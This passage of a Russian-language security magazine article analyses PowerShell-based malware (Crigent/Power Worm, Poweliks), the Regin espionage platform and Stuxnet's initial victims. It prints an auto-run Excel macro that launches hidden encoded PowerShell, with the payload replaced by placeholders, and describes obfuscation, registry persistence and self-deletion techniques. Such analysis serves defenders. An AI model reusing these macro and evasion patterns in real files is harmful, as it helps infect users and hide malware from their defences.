обес­печива­ющие управле­ние раз­личны­ми тех­ничес­кими ком­плек­сами по все­му миру. А еще в NSA при­дума­ли SELinux, что добави­ло архи­тек­туру ман­датно­го кон­тро­ля дос­тупа к ядру Linux. Это поз­волило исполь­зовать Linux при обра­бот­ке сек­ретных све­дений.

 

PowerShell как средство обфускации

Как говорит­ся, новое — это хорошо забытое ста­рое. Такое понятие, как мак­ровиру­сы, уже у всех вывет­рилось из памяти. Приш­ло вре­мя вспом­нить.

Спе­циалис­ты ком­пании Trend Micro и Symantec незави­симо друг от дру­га выяви­ли новое семей­ство вре­доно­сов с фун­кци­ей саморас­простра­нения, которое заража­ет фай­лы фор­мата Microsoft Word и Excel. Новому чер­вю дали наз­вание Crigent (так­же известен под наз­вани­ем Power Worm). Дан­ный червь реали­зован с исполь­зовани­ем скрип­тового язы­ка Windows PowerShell.

Для при­мера, в заражен­ном докумен­те Microsoft Office Excel при­сутс­тву­ет скрипт сле­дующе­го вида:

Private Sub Workbook_Open()
b = "JwBDAEkWORMBODYHERE" _
& "QA7ACcAcgWORMBODYHERE" _
& "BzACgAKQAWORMBODYHERE" _
& "jAGUAIAAtWORMBODYHERE" _
& "ACAAUwB5AWORMBODYHERE" _
& "GcALgBpAGWORMBODYHERE" _
& "4AIAAtAGEWORMBODYHERE" _
& "AdAAuAHAAWORMBODYHERE"
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub

Ко­неч­но, дан­ный скрипт авто­мати­чес­ки запус­тится при откры­тии докумен­та, толь­ко если раз­решено выпол­нение мак­росов. Одна­ко ничего не подоз­рева­юще­му поль­зовате­лю дос­таточ­но нажать толь­ко одну кноп­ку, что­бы по нез­нанию раз­решить их выпол­нение.

Как вид­но из при­мера, PowerShell-скрипт закоди­рован в Base64, он прос­то выг­ружа­ется в виде фай­ла и выпол­няет­ся при помощи powershell.exe с соот­ветс­тву­ющи­ми клю­чами. Это, мож­но ска­зать, пер­вый уро­вень обфуска­ции.

Внут­ри запущен­ного powershell.exe скрип­та в одной из перемен­ной опять‑таки находят­ся Base64 закоди­рован­ные дан­ные. Пос­ле сня­тия кодиров­ки (вто­рой уро­вень обфуска­ции) дан­ные переда­ются в фун­кцию деком­прес­сии (тре­тий уро­вень обфуска­ции). Пос­ле всех этих манипу­ляций конеч­ный скрипт вызыва­ет фун­кцию CompileAssemblyFromSource(), которая ком­пилиру­ет находя­щий­ся тут же в скрип­те код CSharp и запус­кает его на выпол­нение. Получен­ный бинар­ный код запус­кает rundll32.exe в при­оста­нов­ленном сос­тоянии, инжекти­рует себя в его адресное прос­транс­тво и запус­кает поток rundll32. Таким обра­зом, выпол­няют­ся две задачи — сок­рытие и обход сис­тем защиты.

Да­лее Crigent под­гру­жает свой основной вре­донос­ный фун­кци­онал, при­чем для это­го исполь­зует­ся сеть Tor. Для вза­имо­дей­ствия с этой сетью из облачных сер­висов Dropbox и OneDrive заг­ружа­ются два фай­ла, один из них, собс­твен­но, сам Tor кли­ент, а вто­рой — прок­си Polipo. Име­на фай­лов червь получа­ет доволь­но ори­гиналь­ным обра­зом: он отправ­ляет DNS-зап­рос на пуб­личные DNS-сер­веры Google вида «nslookup -querytype=TXT {malicious domain} 8.8.8.8», ответ на этот зап­рос и будет содер­жать име­на фай­лов Tor и Polipo.

Ус­тановив необ­ходимое для работы с сетью Tor прог­рам­мное обес­печение, Crigent свя­зыва­ется с коман­дным цен­тром и под­гру­жает PowerShell-скрипт со сво­им основным фун­кци­она­лом. В час­тнос­ти, в этом скрип­те име­ются фун­кции, которые заража­ют все докумен­ты фор­матов Word и Excel на компь­юте­ре, при этом регис­три­рует­ся событие, которое воз­ника­ет в слу­чае под­клю­чения внеш­них носите­лей информа­ции, поэто­му все докумен­ты на флеш­ках так­же заража­ются. Если фор­мат докумен­тов docx и xlsx, Crigent перед зараже­нием сох­раня­ет их в ста­ром фор­мате, doc и xls соот­ветс­твен­но, а ори­гиналь­ные фай­лы уда­ляет. Сог­ласись, доволь­но демас­киру­ющая фича. Так что если у тво­их докумен­тов вдруг ста­ли мас­сово менять­ся рас­ширения, то знай — это Power Worm.

Power Worm не единс­твен­ная мал­варь с инте­рес­ными фиш­ками, исполь­зующая воз­можнос­ти PowerShell. Куда как кон­цепту­аль­нее выг­лядит вре­донос Poweliks. Он тоже исполь­зует PowerShell, но глав­ное в нем не это. Основная осо­бен­ность Poweliks в том, что пос­ле инстал­ляции в сис­теме все его дан­ные хра­нят­ся исклю­читель­но в реес­тре, что, естес­твен­но, зна­читель­но уве­личи­вает скрыт­ность его работы.

Рас­простра­нял­ся Poweliks в фай­лах фор­мата RTF и исполь­зовал для это­го уяз­вимость CVE-2012-0158 (в клас­сифика­ции Microsoft — MS12-027). Так как для его работы обя­затель­но тре­бова­лось наличие PowerShell, с сай­та Microsoft ска­чивал­ся и уста­нав­ливал­ся апдейт KB968930.

Для авто­заг­рузки соз­давал­ся сле­дующий ключ в реес­тре (рис. 3).

Рис. 3. Ключ автозапуска Poweliks
Рис. 3. Ключ авто­запус­ка Poweliks

Здесь вид­но, что зна­чение клю­ча сос­тавле­но не из ASCII-сим­волов; в виде, дос­тупном для вос­при­ятия, он выг­лядит так (рис. 4).

Рис. 4. Содержимое ключа автозапуска Poweliks
Рис. 4. Содер­жимое клю­ча авто­запус­ка Poweliks

Дан­ный набор команд запус­кает на выпол­нение JScript, который хра­нит­ся в клю­че \HKCU\software\microsoft\windows\currentversion\run(default). Внут­ри JScript уже был Base64-закоди­рован­ный PowerShell-скрипт (схе­ма, ана­логич­ная Power Worm), который в конеч­ном ито­ге дро­пал на диск биб­лиоте­ку соот­ветс­тву­ющей архи­тек­туры. Кста­ти, два адре­са коман­дных цен­тров, которые были заданы в DLL, при­над­лежали Казах­ста­ну.

Вре­донос­ная DLL, пожатая упа­ков­щиком MPRESS 2.19, инжекти­рова­лась при помощи NtQueueApcThread в адресное прос­транс­тво dllhost.exe и уда­лялась с дис­ка. Само­уда­ление реали­зова­но дву­мя спо­соба­ми: при помощи NTFS Alternate Data Streams, а если это не сра­баты­вало, исполь­зовал­ся вызов MoveFileEx() с парамет­ром MOVEFILE_DELAY_UNTIL_REBOOT.

Впос­ледс­твии была выяв­лена дру­гая вер­сия Poweliks, которая исполь­зовала нес­коль­ко иной метод сок­рытия клю­ча сво­его авто­запус­ка, а имен­но уда­ляла у поль­зовате­ля пра­ва на прос­мотр зна­чения сво­его клю­ча.

Са­мое инте­рес­ное в этой исто­рии то, что malware-иссле­дова­тель, извес­тный под ником Kafeine (его блог — malware.dontneedcoffee.com), обра­тил вни­мание, что код биб­лиотек Poweliks в некото­рых мес­тах подоз­ритель­но напоми­нает код дру­гого вре­доно­са — Alureon.GQ (Microsoft), он же Wowlik (ESET). Для тех, кому эти наз­вания ничего не ска­зали, мож­но при­вес­ти дру­гое, более рас­простра­нен­ное, — TDL или TDSS. Как видишь, часть его кода все еще гуля­ет по рукам (воз­можно, даже с его соз­дателем, которо­го так и не наш­ли). Kafeine отме­чает, что код, отве­чающий за вза­имо­дей­ствие с C&C в Poweliks, выг­лядит как сво­еоб­разный downgrade кода, исполь­зуемо­го Alureon.GQ. По сос­тоянию на фев­раль 2014-го бот­нет Poweliks нас­читывал око­ло 30 тысяч заражен­ных машин (фор­мирова­ние бот­нета началось в нояб­ре 2013 года). Как вид­но, бот­нет мож­но пос­тро­ить даже через рас­сылку писем с помощью ста­рых экс­плой­тов для Microsoft Word.

 

Шпионские страсти

Во­лей‑неволей, но при­дет­ся упо­мянуть оче­ред­ное «киберо­ружие, сопос­тавимое по слож­ности со Stuxnet». Из‑за чего, собс­твен­но, шумиха? В кон­це нояб­ря 2014 года Symantec и Kaspersky опуб­ликова­ли свои white paper о вре­доно­се Regin. И в этих ваших интерне­тах сно­ва что‑то забур­лило, сов­сем как в ста­рые доб­рые вре­мена.

Что мы име­ем с тех­ничес­кой точ­ки зре­ния? Забегая наперед, нуж­но отме­тить, что ни Symantec, ни Kaspersky пока еще (статья сда­валась в декаб­ре 2014-го. — Прим. ред.) ничего не написа­ли про дроп­пер (то есть они его так и не наш­ли). Опи­сание поч­ти сра­зу начина­ется с того, как про­изво­дит­ся заг­рузка Regin, которая сос­тоит из нес­коль­ких эта­пов (рис. 5).

Рис. 5. Этапы загрузки Regin
Рис. 5. Эта­пы заг­рузки Regin

На пер­вом эта­пе гру­зит­ся драй­вер, зарегис­три­рован­ный как сер­вис. Для 64-раз­рядных ОС этот драй­вер имел под­дель­ную циф­ровую под­пись от Microsoft или Broadcom. При­чем дроп­пером в локаль­ное хра­нили­ще внед­рялся сер­тификат доверен­ного CA зло­умыш­ленни­ков, которым и были под­писаны под­дель­ные под­писи драй­вера. Бла­года­ря это­му с точ­ки зре­ния ОС с под­писями было все ОК.

Ос­новная задача драй­вера — заг­рузка дру­гого ком­понен­та Regin, заг­рузчи­ка (этап два). Здесь уже начина­ются раз­личия для x86- и x64-сис­тем. Для x86 дан­ные (пред­став­лявшие собой зашиф­рован­ный бинар­ный код), которые заг­ружал драй­вер, мог­ли раз­мещать­ся в одном из двух мест. В слу­чае если фай­ловая сис­тема была NTFS, дан­ные раз­бивались на бло­ки фик­сирован­ного раз­мера (из которых потом собирал­ся еди­ный блок дан­ных) и хра­нились в Alternate Data Streams сле­дующих катало­гов:

  • %Windir%;
  • %Windir%\fonts;
  • %Windir%\cursors.

Ес­ли же ФС была FAT, то дан­ные хра­нились в клю­че реес­тра. Метод хра­нения дан­ных, необ­ходимые пути или зна­чения клю­чей реес­тра раз­мещались в зашиф­рован­ном бло­ке кон­фигура­ции драй­вера пер­воначаль­ной заг­рузки. Для x64 в качес­тве хра­нили­ща исполь­зовалось сво­бод­ное мес­то на дис­ке, которое находи­лось сра­зу пос­ле всех раз­делов. Дан­ные, заг­ружа­емые драй­вером, рас­шифро­выва­лись прос­тей­шим алго­рит­мом, исполь­зовав­шим опе­рацию XOR.

По­лучен­ный на вто­ром эта­пе бинар­ный код (заг­рузчик) про­изво­дил дей­ствия, сход­ные с пер­вым эта­пом. Точ­но так же рас­шифро­выва­лись дан­ные из бло­ка кон­фигура­ции и заг­ружались в память дан­ные:

  • x86 NTFS — из Alternate Data Streams;
  • x86 FAT — из реес­тра;
  • x64 — из пос­ледних сек­торов дис­ка.

Толь­ко теперь дан­ные рас­шифро­выва­лись при помощи 20 раун­дов алго­рит­ма RC5 16-бай­товым клю­чом и пос­ле это­го под­верга­лись деком­прес­сии по алго­рит­му NRV2e.

Для x86 конеч­ный резуль­тат треть­его эта­па — менед­жер VMEM.sys, содер­жащий базовый фун­кци­онал для работы с зашиф­рован­ной вир­туаль­ной фай­ловой сис­темой (EVFS). Пла­гины Regin, кон­фигура­цион­ные фай­лы для них, резуль­таты работы в виде логов раз­меща­ются в одном фай­ле‑кон­тей­нере с рас­ширени­ем evt или imd, его раз­мещение всег­да было раз­ным, но в основном его путь начинал­ся с C:\Windows\System32. Фай­ловая сис­тема чем‑то напоми­нает FAT, струк­тура ее откры­та, вмес­то имен фай­лов исполь­зуют­ся чис­ла, сами фай­лы шиф­руют­ся тоже 16-бай­тным клю­чом с исполь­зовани­ем RC5 и ком­прес­сией NRV2e. Менед­жер VMEM.sys заг­ружа­ет из EVFS-кон­тей­нера дис­петчер disp.dll (чет­вертый этап), который уже и явля­ется основным модулем, то есть обес­печива­ет сетевое вза­имо­дей­ствие с управля­ющим цен­тром.

Для x64 конеч­ный резуль­тат треть­его эта­па — сра­зу дис­петчер disp.dll, который одновре­мен­но и драй­вер для EVFS, и основной модуль вза­имо­дей­ствия. То есть тут сра­зу идет чет­вертый этап (без VMEM.sys), и disp.dll гру­зит­ся не из EVFS, а с пос­ледних сек­торов дис­ка.

Се­тевое вза­имо­дей­ствие может осу­щест­влять­ся раз­личны­ми спо­соба­ми:

  • HTTP и HTTPS, при этом дан­ные переда­ются через cookie;
  • RAW sockets, под­держи­вают­ся про­токо­лы TCP и UDP;
  • ICMP, при этом в пакет ping для иден­тифика­ции встав­ляет­ся сло­во shit, а для про­вер­ки кон­троль­ной сум­мы исполь­зует­ся чис­ло 31 337;
  • име­нован­ные каналы SMB.

Та­кое раз­нооб­разие исполь­зует­ся для пос­тро­ения внут­ри ЛВС орга­низа­ции‑жер­твы сво­еоб­разной рас­пре­делен­ной сети из заражен­ных Regin машин. При этом одни экзем­пля­ры Regin могут выс­тупать в качес­тве прок­си для дру­гих экзем­пля­ров. Столь гиб­кая струк­тура поз­воля­ет осу­щест­влять управле­ние даже в слу­чае, если компь­ютер с Regin изо­лиро­ван от интерне­та на уров­не сетевых устрой­ств.

Спи­сок пла­гинов вклю­чает в себя стан­дар­тный шпи­онский набор для получе­ния сле­дующей информа­ции:

  • ха­рак­терис­тик железа;
  • скрин­шотов экра­на и нажатий кла­виш;
  • па­рамет­ров под­клю­чения к прок­си;
  • сес­сий поль­зовате­лей в бра­узе­ре;
  • по­иска фай­лов на дис­ке;
  • па­ролей HTTP/SMTP/SMB.

Но есть ряд дей­стви­тель­но неор­динар­ных модулей:

  • пря­мая (RAW) работа с NTFS на чте­ние/запись с под­дер­жкой вос­ста­нов­ления уда­лен­ных и испорчен­ных дан­ных;
  • сни­фер IP-пакетов (TCPDump);
  • эк­спорт учет­ных дан­ных из защищен­ного хра­нили­ща;
  • дамп хешей паролей поль­зовате­лей из LM database;
  • из­вле­чение дан­ных MS Exchange;
  • чте­ние логов IIS;
  • пе­рех­ват и ведение лог команд соф­та, обслу­жива­юще­го базовые стан­ции GSM.

Пос­ледний модуль самый инте­рес­ный и очень ред­кий. Один из его логов, файл раз­мером око­ло 70 Кб содер­жал вре­мен­ные отметки, датиро­ван­ные 2008 годом, а так­же коман­ды в фор­мате Ericsson OSS MML. Сог­ласно ста­тис­тике Symantec, 28% жертв тро­яна — это телеком­муника­цион­ные ком­пании, 48% — отдель­ные пер­соны и неболь­шие фир­мы. Осталь­ные — это государс­твен­ные, энер­гетичес­кие, финан­совые и иссле­дова­тель­ские ком­пании. Рас­пре­деле­ние по стра­нам выг­лядит сле­дующим обра­зом (рис. 6).

Рис. 6. Распространенность Regin по странам
Рис. 6. Рас­простра­нен­ность Regin по стра­нам

Меж­ду про­чим, сра­зу пос­ле пуб­ликации Symantec аме­рикан­ское онлайн‑СМИ The Intercept раз­мести­ло статью с брос­ким заголов­ком «Сек­ретный вре­донос, исполь­зуемый в ата­ках про­тив Евро­союза, свя­зан с раз­ведка­ми США и Великоб­ритании» (Secret Malware in European Union Attack Linked to U. S. and British Intelligence). В ней пред­став­лена уже извес­тная ранее информа­ция, получен­ная от Сно­уде­на, о киберо­пера­циях NSA/GCHQ по внед­рению тро­янов лицам и орга­низа­циям, пред­став­ляющим инте­рес для раз­ведки США. На при­мере ата­ки бель­гийско­го сотово­го опе­рато­ра Belgacom в слай­дах GCHQ наг­лядно показа­но, как это было сде­лано. Сна­чала выяв­ляет­ся круг лиц, как пра­вило через соци­аль­ные сети. Потом для каж­дого такого челове­ка дела­ется сво­еоб­разный циф­ровой отпе­чаток (fingerprint) — куки, IP-адре­са, учет­ные дан­ные, email и про­чее. Все это про­исхо­дит на сетевом обо­рудо­вании, под­кон­троль­ном NSA/GCHQ. Пос­ле это­го жер­тве, иден­тифици­рован­ной с помощью fingerprint, по коман­де опе­рато­ра внед­ряет­ся тро­ян. В качес­тве метода внед­рения может исполь­зовать­ся либо экс­плойт для бра­узе­ра, либо под­мена инстал­лятора какой‑либо прог­раммы, либо еще что‑нибудь. Имен­но таким обра­зом были зараже­ны компь­юте­ры отдель­ных сот­рудни­ков Belgacom. Кро­ме того, в ходе рас­сле­дова­ния было уста­нов­лено, что одной из целей был про­фес­сор Жан‑Жак Кис­катер (Jean-Jacques Quisquater), бель­гийский спе­циалист по крип­тогра­фии. Вся суть статьи от The Intercept — что Regin и есть тот самый тро­ян от NSA/GCHQ.

В общем, ситу­ация выг­лядит, как боль­шой наб­рос и рас­крут­ка темы. Клю­чевой мес­седж — «Смот­рите все (осо­бен­но РФ), как у нас спец­служ­бы работа­ют. Мы уже на вас столь­ко ком­про­мата соб­рали, что ужас‑ужас».
А анти­вирус­ные ком­пании не пре­мину­ли вос­поль­зовать­ся момен­том: «Смот­рите, как мы уме­ем рас­сле­дова­ния про­водить».
Осо­бен­но раду­ет информа­ция по датам. Нап­ример, Symantec на свой сайт добави­ла Regin 12 декаб­ря 2013 года. Microsoft в свои базы добави­ла 9 мар­та 2011 года. Спе­циалис­ты F-Secure «впер­вые» обна­ружи­ли Regin в 2009 году. А товари­щи из ЛК вооб­ще заяв­ляют, что самая ста­рая дата, ими най­ден­ная, — это 2003 год.

Ин­терес­ное наб­людение мож­но сде­лать и в отно­шении «пра­витель­ствен­ной» заразы: обра­ти вни­мание, что Stuxnet, Duqu и вот теперь Regin исполь­зуют нес­тандар­тные алго­рит­мы шиф­рования. Они все нес­той­кие, но зато лег­ко прог­рамми­руемые и быс­тро работа­ющие. Все это — для обфуска­ции. Ана­лизи­рует эвристик анти­виру­са парамет­ры таких дан­ных и про­веря­ет: «AES — нет, RC4 — нет, так что же это? Ну и лад­но, не буду тре­вогу под­нимать».

Кста­ти, о Stuxnet. Все в том же нояб­ре ЛК опуб­ликова­ла иссле­дова­ние о так называ­емых zero victims (ана­логия с медицин­ским тер­мином patient zero, обоз­нача­ющим ини­циато­ра эпи­демии). Как извес­тно, Stuxnet был раз­работан для внед­рения на объ­екты, вооб­ще не име­ющие выхода в Сеть. Для это­го в нем было реали­зова­но зараже­ние фле­шек. Веро­ятно, для ана­лиза его опе­рато­рами он сох­ранял на флеш­ке лог сво­его рас­простра­нения: вре­мя, домен и IP-адрес. Спе­циалис­ты ЛК, про­ана­лизи­ровав эти логи, выяви­ли (по их мне­нию) пять zero victims. Все это иран­ские ком­пании, занима­ющиеся раз­работ­кой сис­тем для про­мыш­ленных объ­ектов:

  • Domain A — Foolad Technic Engineering Co.;
  • Domain B — Behpajooh Co. Elec & Comp. Engineering;
  • Domain C — Neda Industrial Group;
  • Domain D — Control-Gostar Jahed Company;
  • Domain E — Kalaye Electric Co.

Пер­вой под­вер­глаcь ата­ке Foolad Technic Engineering Co.

Рис. 7. Волны распространения Stuxnet
Рис. 7. Вол­ны рас­простра­нения Stuxnet

При­чем раз­ница меж­ду вре­менем ком­пиляции кода дроп­пера Stuxnet и вре­менем зараже­ния сос­тавила око­ло две­над­цати часов. Сом­нитель­но, что за это вре­мя Stuxnet успе­ли бы внед­рить через аген­та «в поле». Это зна­чит, что, воп­реки рас­простра­нен­ной вер­сии про инсай­деров, началь­ное рас­простра­нение было нес­коль­ко иным. Сна­чала вычис­лили всех воз­можных пос­тавщи­ков, взло­мали их сети и рас­простра­нили внут­ри них Stuxnet. Пос­ле это­го толь­ко оста­валось ждать, пока червь через компь­ютер или флеш­ку какого‑нибудь инже­нера попадет на защищен­ный объ­ект и сде­лает там свое чер­ное дело.

Но с Behpajooh Co. Elec & Comp. Engineering выш­ла про­маш­ка, имен­но из нее Stuxnet сбе­жал и пошел гулять за пре­делы Ира­на, рас­секре­тив всю опе­рацию.

Вол­ны рас­простра­нения Stuxnet были взя­ты из отче­та Symantec W32.Stuxnet Dossier ver. 1.4 от фев­раля 2011 года. Инте­рес­но, что такого слу­чилось, что сот­рудни­ки ЛК «вдруг» через три года начали выяс­нять, что скры­вает­ся за кодовы­ми наз­вани­ями Domain A, B, C, D, E? На этот воп­рос нет отве­та.

 

Заключение

Ка­кие выводы мож­но сде­лать из все­го перечис­ленно­го?

  • На JAVA мож­но писать кросс‑плат­формен­ные тро­яны, которые к тому же пло­хо детек­тиру­ются и лег­ко обфусци­руют­ся. Пос­коль­ку в кор­поратив­ном сек­торе сис­темы ERP обыч­но пишут­ся как веб‑при­ложе­ния с исполь­зовани­ем Java Runtime Environment (неред­ко ста­рых вер­сий), проб­лем с рас­простра­нени­ем таких тро­янов нет.
  • Си­туация с домаш­ними (и не очень) роуте­рами пла­чев­ная: куча уяз­вимос­тей, скры­тых бэк­доров от про­изво­дите­лей, неб­режное отно­шение поль­зовате­лей к пароль­ной защите и обновле­нию про­шивок, отсутс­твие анти­вирус­ной защиты — все это напоми­нает сос­тояние компь­ютер­ной индус­трии в 60-е годы. И кибер­прес­тупни­ки этим активно поль­зуют­ся.
  • Поль­зовате­ли *nix-сис­тем тоже под­верже­ны ата­кам вре­донос­ного кода. Пока экс­плу­ата­ция уяз­вимос­тей дела­ется в руч­ном или полу­авто­мати­чес­ком режиме, а что будет даль­ше? Сер­верные сис­темы очень пер­спек­тивная цель, тут вам и DDoS-бот­неты невидан­ных мощ­ностей, и мас­совая нак­рутка бан­неров, и прог­рузка вся­кой дру­гой мал­вари конеч­ным поль­зовате­лям.
  • Ме­тоды обфуска­ции эво­люци­они­руют, крип­торами уже никого не уди­вишь, исполь­зование Java и PowerShell — это все­го лишь два при­мера из боль­шого количес­тва воз­можных вари­аций. К сожале­нию, прес­тупная мысль все вре­мя дви­жет­ся впе­ред.
  • State sponsored malware, то есть та, в которую вбу­хали кучу баб­ла, не перес­танет нас удив­лять никог­да. Рав­но как и пиар на этой теме со сто­роны отдель­ных анти­вирус­ных ком­паний. По резуль­татам проч­тения авер­ских отче­тов скла­дыва­ется впе­чат­ление, что их основная цель — запугать юзе­ров и зас­тавить их «покупать наших сло­нов». Ой, то есть оце­нить ущерб (сколь­ко, где и чего сли­ли) и устра­нить сла­бые мес­та :). Кто кон­крет­но заказ­чик и раз­работ­чик и как их прив­лечь к ответс­твен­ности — ник­то не пишет. Как и про то, нас­коль­ко «здо­рово» работа­ют вся­кие про­активные защиты и про­чие фичи. Вери гуд биз­нес! Поэто­му, как мы всег­да говорим, на анти­вирус надей­ся, а сам не пло­шай.

Оставить мнение